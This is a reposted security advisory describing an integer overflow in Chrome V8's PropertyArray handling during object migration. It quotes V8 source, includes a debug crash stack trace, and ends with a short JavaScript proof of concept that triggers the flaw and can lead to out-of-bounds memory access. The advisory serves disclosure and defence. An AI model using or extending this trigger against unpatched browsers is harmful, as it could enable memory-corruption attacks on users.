Chrome V8 PropertyArray Integer Overflow

2018.02.27
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-189

Chrome: V8: Integer overflow with PropertyArray There's a snippet of the MigrateFastToFast function which is used to create a new PropertyArray object. int number_of_fields = new_map->NumberOfFields(); int inobject = new_map->GetInObjectProperties(); int unused = new_map->UnusedPropertyFields(); ... int total_size = number_of_fields + unused; int external = total_size - inobject; Handle<PropertyArray> array = isolate->factory()->NewPropertyArray(external); The new_map variable may come from the Map::CopyWithField method. Here's a snippet of the method. MaybeHandle<Map> Map::CopyWithField(Handle<Map> map, Handle<Name> name, Handle<FieldType> type, PropertyAttributes attributes, PropertyConstness constness, Representation representation, TransitionFlag flag) { ... if (map->NumberOfOwnDescriptors() >= kMaxNumberOfDescriptors) { return MaybeHandle<Map>(); } DCHECK_IMPLIES(!FLAG_track_constant_fields, constness == kMutable); Descriptor d = Descriptor::DataField(name, index, attributes, constness, representation, wrapped_type); Handle<Map> new_map = Map::CopyAddDescriptor(map, &d, flag); new_map->AccountAddedPropertyField(); return new_map; } The Map::CopyAddDescriptor method adds one more descriptor to the map, and the AccountAddedPropertyField method may make the UnusedPropertyFields() up to 2. Since kMaxNumberOfDescriptors is 1022, new_map's NumberOfFields() can be 1022, and UnusedPropertyFields() can be 2 in certain circumstances. This means, in the MigrateFastToFast method, the "external" variable can be 1024 which exceeds the maximum value of a ProperyArray's length which is 1023. So the created array's length() will return 0, it hits the following assert. # # Fatal error in ../../v8/src/objects-inl.h, line 1750 # Debug check failed: index < this->length() (0 vs. 0). # ==== C stack trace =============================== 0 d8 0x00000001071f6372 v8::base::debug::StackTrace::StackTrace() + 34 1 d8 0x00000001071fdcc0 v8::platform::(anonymous namespace)::PrintStackTrace() + 192 2 d8 0x00000001071eaf4a V8_Fatal(char const*, int, char const*, ...) + 442 3 d8 0x00000001071ea6af v8::base::(anonymous namespace)::DefaultDcheckHandler(char const*, int, char const*) + 47 4 d8 0x0000000105b0375c v8::internal::PropertyArray::set(int, v8::internal::Object*) + 1116 5 d8 0x000000010630e10e v8::internal::JSObject::MigrateToMap(v8::internal::Handle<v8::internal::JSObject>, v8::internal::Handle<v8::internal::Map>, int) + 18558 6 d8 0x00000001061f858b v8::internal::LookupIterator::ApplyTransitionToDataProperty(v8::internal::Handle<v8::internal::JSObject>) + 1899 7 d8 0x000000010632221e v8::internal::Object::AddDataProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::PropertyAttributes, v8::internal::ShouldThrow, v8::internal::Object::StoreFromKeyed) + 2254 8 d8 0x000000010631f338 v8::internal::Object::SetProperty(v8::internal::LookupIterator*, v8::internal::Handle<v8::internal::Object>, v8::internal::LanguageMode, v8::internal::Object::StoreFromKeyed) + 1112 9 d8 0x0000000105f90c07 v8::internal::StoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Name>, v8::internal::Handle<v8::internal::Object>, v8::internal::Object::StoreFromKeyed) + 4647 10 d8 0x0000000105f9ca62 v8::internal::KeyedStoreIC::Store(v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>) + 2258 11 d8 0x0000000105fae469 v8::internal::__RT_impl_Runtime_KeyedStoreIC_Miss(v8::internal::Arguments, v8::internal::Isolate*) + 1321 12 d8 0x0000000105fad513 v8::internal::Runtime_KeyedStoreIC_Miss(int, v8::internal::Object**, v8::internal::Isolate*) + 979 13 ??? 0x000000010d385204 0x0 + 4516762116 Received signal 4 <unknown> 0001071f2478 Illegal instruction: 4 It seems like OOB writes, but actually it is not. array->length() just returns 0, it's allocated enough to contain 1024 elements. But this affects the Garbage Collector to reallocate the array with the 0 length. So after the garbage collection, it can lead to OOB reads/writes. PoC: function gc() { for (let i = 0; i < 20; i++) new ArrayBuffer(0x1000000); } function trigger() { function* generator() { } for (let i = 0; i < 1022; i++) { generator.prototype['b' + i]; generator.prototype['b' + i] = 0x1234; } gc(); for (let i = 0; i < 1022; i++) { generator.prototype['b' + i] = 0x1234; } } trigger(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top